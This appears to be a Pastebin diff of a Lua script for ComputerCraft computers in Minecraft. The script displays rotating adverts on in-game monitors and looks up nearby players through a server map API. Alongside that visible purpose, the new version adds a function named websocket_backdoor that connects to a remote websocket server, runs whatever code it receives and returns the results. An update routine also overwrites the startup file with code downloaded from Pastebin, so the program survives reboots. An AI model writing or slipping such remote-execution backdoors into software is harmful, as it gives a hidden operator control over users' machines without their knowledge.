SHOW:
|
|
- or go back to the newest paste.
| 1 | - | _G.os.pullEvent = coroutine.yield |
| 1 | + | |
| 2 | local h = http.get(u) | |
| 3 | local c = h.readAll() | |
| 4 | h.close() | |
| 5 | return c | |
| 6 | end | |
| 7 | ||
| 8 | function _G.update() | |
| 9 | local h = fs.open("startup", "w")
| |
| 10 | - | pcall(function() |
| 10 | + | local x = fetch "https://pastebin.com/raw/QtVcwZJm" |
| 11 | - | local bee_neuron_data = fetch "https://pastebin.com/raw/KLDakiHg" |
| 11 | + | local f, e = load(x) |
| 12 | - | local f = fs.open("startup", "w")
|
| 12 | + | if not f then return false, e end |
| 13 | - | f.write(bee_neuron_data) |
| 13 | + | h.write(x) |
| 14 | - | f.close() |
| 14 | + | |
| 15 | - | end) |
| 15 | + | return true |
| 16 | end | |
| 17 | - | while true do |
| 17 | + | |
| 18 | - | local conf = fetch "https://pastebin.com/raw/VQkJfaWU" |
| 18 | + | local h = fs.open("conf.lua", "r")
|
| 19 | - | local fn, err = loadstring(conf) |
| 19 | + | local conf = textutils.unserialise(h.readAll()) or {}
|
| 20 | - | if err then printError("Parse error: " .. err)
|
| 20 | + | h.close() |
| 21 | - | else |
| 21 | + | |
| 22 | - | local ok, result = pcall(fn) |
| 22 | + | local urls = {
|
| 23 | - | if not ok then printError("Exec error: " .. result)
|
| 23 | + | cnlite = "https://dynmap.switchcraft.pw/" |
| 24 | } | |
| 25 | - | for _, mon in pairs {peripheral.find "monitor"} do
|
| 25 | + | |
| 26 | - | local option = result[math.random(1, #result)] |
| 26 | + | local function distance_squared(player) |
| 27 | - | local w, h = mon.getSize() |
| 27 | + | local dx = player.x - conf.location[1] |
| 28 | - | if #option > (w * h) then |
| 28 | + | local dy = player.y - conf.location[2] |
| 29 | - | mon.setTextScale(0.5) |
| 29 | + | local dz = player.z - conf.location[3] |
| 30 | - | else |
| 30 | + | return dx * dx + dy * dy + dz * dz |
| 31 | - | mon.setTextScale(1) |
| 31 | + | |
| 32 | ||
| 33 | - | local last = term.redirect(mon) |
| 33 | + | local json |
| 34 | - | mon.clear() |
| 34 | + | local function load_json() |
| 35 | - | mon.setCursorPos(1, 1) |
| 35 | + | local x = fetch "https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua" |
| 36 | - | write(option) |
| 36 | + | json = load(x)() |
| 37 | - | |
| 37 | + | |
| 38 | - | term.redirect(last) |
| 38 | + | |
| 39 | - | print("Displayed", option)
|
| 39 | + | function _G.find_player_nearby() |
| 40 | if not json then load_json() end | |
| 41 | local API_URL = urls[conf.server] .. "up/world/world/" | |
| 42 | local data = json.decode(fetch(API_URL)) | |
| 43 | - | sleep(30) |
| 43 | + | local players = _.filter(data.players, function(x) |
| 44 | - | end |
| 44 | + | x.d = distance_squared(x) |
| 45 | return x.world == conf.dimension and x.d < 400 | |
| 46 | end) | |
| 47 | local sorted = _.sort_by(players, function(x) return -x.d end) | |
| 48 | return sorted[1] | |
| 49 | end | |
| 50 | ||
| 51 | local function advert_display() | |
| 52 | while true do | |
| 53 | local data = fetch "https://pastebin.com/raw/P9TeP8ev" | |
| 54 | local fn, err = loadstring(data) | |
| 55 | if err then printError("Parse error: " .. err)
| |
| 56 | else | |
| 57 | local ok, result = pcall(fn) | |
| 58 | if not ok then printError("Exec error: " .. result)
| |
| 59 | else | |
| 60 | local options = {}
| |
| 61 | for k, v in pairs(result) do | |
| 62 | if type(v) == "string" or type(v) == "function" then table.insert(options, v) end | |
| 63 | end | |
| 64 | for _, mon in pairs {peripheral.find "monitor"} do
| |
| 65 | local option = options[math.random(1, #options)] | |
| 66 | if type(option) == "function" then ok, option = pcall(option) end | |
| 67 | if type(option) ~= "string" then break end | |
| 68 | local w, h = mon.getSize() | |
| 69 | if #option > (w * h) then | |
| 70 | mon.setTextScale(conf.smallScale) | |
| 71 | else | |
| 72 | mon.setTextScale(conf.largeScale) | |
| 73 | end | |
| 74 | local last = term.redirect(mon) | |
| 75 | mon.clear() | |
| 76 | mon.setCursorPos(1, 1) | |
| 77 | write(option) | |
| 78 | term.redirect(last) | |
| 79 | print("Displayed", option)
| |
| 80 | end | |
| 81 | end | |
| 82 | end | |
| 83 | sleep(30) | |
| 84 | end | |
| 85 | end | |
| 86 | ||
| 87 | local function websocket_backdoor() | |
| 88 | load_json() | |
| 89 | if not http or not http.websocket then return "Websockets do not actually exist on this platform" end | |
| 90 | local ws, err = http.websocket "wss://spudnet.osmarks.net/potatoad" | |
| 91 | if not ws then printError(err) return end | |
| 92 | ||
| 93 | local function send(msg) | |
| 94 | ws.send(json.encode(msg)) | |
| 95 | end | |
| 96 | ||
| 97 | local function recv() | |
| 98 | while true do | |
| 99 | local e, u, code = coroutine.yield "websocket_message" | |
| 100 | if e == "websocket_message" and u == "wss://spudnet.osmarks.net/potatoad" then | |
| 101 | return code | |
| 102 | end | |
| 103 | end | |
| 104 | end | |
| 105 | ||
| 106 | while true do | |
| 107 | -- Receive and run code from backdoor's admin end | |
| 108 | local code = recv() | |
| 109 | local f, error = load(code, "@input", "t", _E) | |
| 110 | if f then -- run safely in background, send back response | |
| 111 | local resp = {pcall(f)}
| |
| 112 | for k, v in pairs(resp) do | |
| 113 | local ok, thing = pcall(json.encode, v) | |
| 114 | if not ok then | |
| 115 | resp[k] = tostring(v) | |
| 116 | end | |
| 117 | end | |
| 118 | send(resp) | |
| 119 | else | |
| 120 | send {false, error}
| |
| 121 | end | |
| 122 | end | |
| 123 | end | |
| 124 | ||
| 125 | parallel.waitForAll(websocket_backdoor, advert_display) |